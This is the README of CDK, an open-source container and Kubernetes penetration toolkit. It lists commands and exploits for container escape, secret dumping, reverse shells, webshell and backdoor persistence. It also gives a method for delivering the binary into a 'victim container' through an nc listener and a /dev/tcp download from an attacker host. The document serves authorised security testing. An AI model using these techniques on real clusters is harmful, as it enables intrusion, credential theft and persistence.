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Usage of CDK for attacking targets without prior mutual consent is illegal. CDK is for security testing purposes only.
CDK is an open-sourced container penetration toolkit, designed for offering stable exploitation in different slimmed containers without any OS dependency. It comes with useful net-tools and many powerful PoCs/EXPs and helps you to escape container and take over K8s cluster easily.
Download latest release in https://github.com/cdk-team/CDK/releases/
Drop executable files into the target container and start testing.
If you have an exploit that can upload a file, then you can upload CDK binary directly.
If you have a RCE exploit, but the target container has no curl or wget, you can use the following method to deliver CDK:
- First, host CDK binary on your host with public IP.
(on your host)
nc -lvp 999 < cdk
- Inside the victim container execute
cat < /dev/tcp/(your_public_host_ip)/(port) > cdk
chmod a+x cdk
Usage:
cdk evaluate [--full]
cdk run (--list | <exploit> [<args>...])
cdk auto-escape <cmd>
cdk <tool> [<args>...]
Evaluate:
cdk evaluate Gather information to find weakness inside container.
cdk evaluate --full Enable file scan during information gathering.
Exploit:
cdk run --list List all available exploits.
cdk run <exploit> [<args>...] Run single exploit, docs in https://github.com/cdk-team/CDK/wiki
Auto Escape:
cdk auto-escape <cmd> Escape container in different ways then let target execute <cmd>.
Tool:
vi <file> Edit files in container like "vi" command.
ps Show process information like "ps -ef" command.
nc [options] Create TCP tunnel.
ifconfig Show network information.
kcurl <path> (get|post) <uri> <data> Make request to K8s api-server.
ucurl (get|post) <socket> <uri> <data> Make request to docker unix socket.
probe <ip> <port> <parallel> <timeout-ms> TCP port scan, example: cdk probe 10.0.1.0-255 80,8080-9443 50 1000
Options:
-h --help Show this help msg.
-v --version Show version.
CDK has three modules:
- Evaluate: gather information inside container to find potential weakness.
- Exploit: for container escaping, persistance and lateral movement
- Tool: network-tools and APIs for TCP/HTTP requests, tunnels and K8s cluster management.
Usage
cdk evaluate [--full]
This command will run the scripts below without local file scanning, using --full to enable all.
| Tactics | Script | Supported | Usage/Example |
|---|---|---|---|
| Information Gathering | OS Basic Info | ✔ | link |
| Information Gathering | Available Capabilities | ✔ | link |
| Information Gathering | Available Linux Commands | ✔ | link |
| Information Gathering | Mounts | ✔ | link |
| Information Gathering | Net Namespace | ✔ | link |
| Information Gathering | Sensitive ENV | ✔ | link |
| Information Gathering | Sensitive Process | ✔ | link |
| Information Gathering | Sensitive Local Files | ✔ | link |
| Information Gathering | Kube-proxy Route Localnet(CVE-2020-8558) | ✔ | link |
| Discovery | K8s Api-server Info | ✔ | link |
| Discovery | K8s Service-account Info | ✔ | link |
| Discovery | Cloud Provider Metadata API | ✔ | link |
List all available exploits:
cdk run --list
Run targeted exploit:
cdk run <script-name> [options]
| Tactic | Technique | CDK Exploit Name | Supported | In Thin | Doc |
|---|---|---|---|---|---|
| Escaping | docker-runc CVE-2019-5736 | runc-pwn | ✔ | ✔ | |
| Escaping | containerd-shim CVE-2020-15257 | shim-pwn | ✔ | link | |
| Escaping | docker.sock PoC (DIND attack) | docker-sock-check | ✔ | ✔ | link |
| Escaping | docker.sock RCE | docker-sock-pwn | ✔ | ✔ | link |
| Escaping | Docker API(2375) RCE | docker-api-pwn | ✔ | ✔ | link |
| Escaping | Device Mount Escaping | mount-disk | ✔ | ✔ | link |
| Escaping | LXCFS Escaping | lxcfs-rw | ✔ | ✔ | link |
| Escaping | Cgroups Escaping | mount-cgroup | ✔ | ✔ | link |
| Escaping | Procfs Escaping | mount-procfs | ✔ | ✔ | link |
| Escaping | Ptrace Escaping PoC | check-ptrace | ✔ | ✔ | link |
| Escaping | Rewrite Cgroup(devices.allow) | rewrite-cgroup-devices | ✔ | ✔ | link |
| Escaping | Read arbitrary file from host system (CAP_DAC_READ_SEARCH) | cap-dac-read-search | ✔ | ✔ | link |
| Discovery | K8s Component Probe | service-probe | ✔ | ✔ | link |
| Discovery | Dump Istio Sidecar Meta | istio-check | ✔ | ✔ | link |
| Discovery | Dump K8s Pod Security Policies | k8s-psp-dump | ✔ | link | |
| Remote Control | Reverse Shell | reverse-shell | ✔ | ✔ | link |
| Credential Access | Registry BruteForce | registry-brute | ✔ | ✔ | link |
| Credential Access | Access Key Scanning | ak-leakage | ✔ | ✔ | link |
| Credential Access | Dump K8s Secrets | k8s-secret-dump | ✔ | ✔ | link |
| Credential Access | Dump K8s Config | k8s-configmap-dump | ✔ | ✔ | link |
| Privilege Escalation | K8s RBAC Bypass | k8s-get-sa-token | ✔ | ✔ | link |
| Persistence | Deploy WebShell | webshell-deploy | ✔ | ✔ | link |
| Persistence | Deploy Backdoor Pod | k8s-backdoor-daemonset | ✔ | ✔ | link |
| Persistence | Deploy Shadow K8s api-server | k8s-shadow-apiserver | ✔ | link | |
| Persistence | K8s MITM Attack (CVE-2020-8554) | k8s-mitm-clusterip | ✔ | ✔ | link |
| Persistence | Deploy K8s CronJob | k8s-cronjob | ✔ | ✔ | link |
Note about Thin: The thin release is prepared for short life container shells such as serverless functions. We add build tags in source code and cut a few exploits to get the binary lighter. The 2MB file contains 90% of CDK functions, also you can pick up useful exploits in CDK source code to build your own lightweight binary.
Running commands like in Linux, little different in input-args, see the usage link.
cdk nc [options]
cdk ps
| Command | Description | Supported | Usage/Example |
|---|---|---|---|
| nc | TCP Tunnel | ✔ | link |
| ps | Process Information | ✔ | link |
| ifconfig | Network Information | ✔ | link |
| vi | Edit Files | ✔ | link |
| kcurl | Request to K8s api-server | ✔ | link |
| dcurl | Request to Docker HTTP API | ✔ | link |
| ucurl | Request to Docker Unix Socket | ✔ | link |
| rcurl | Request to Docker Registry API | ||
| probe | IP/Port Scanning | ✔ | link |
If you want to know how we released a new version, how thin is produced, why we provide upx versions, what the differences between different versions about all, normal, thin, upx are, and how to choose specific CDK exploits and tools to compile an own release for yourself, please check the Release Document.
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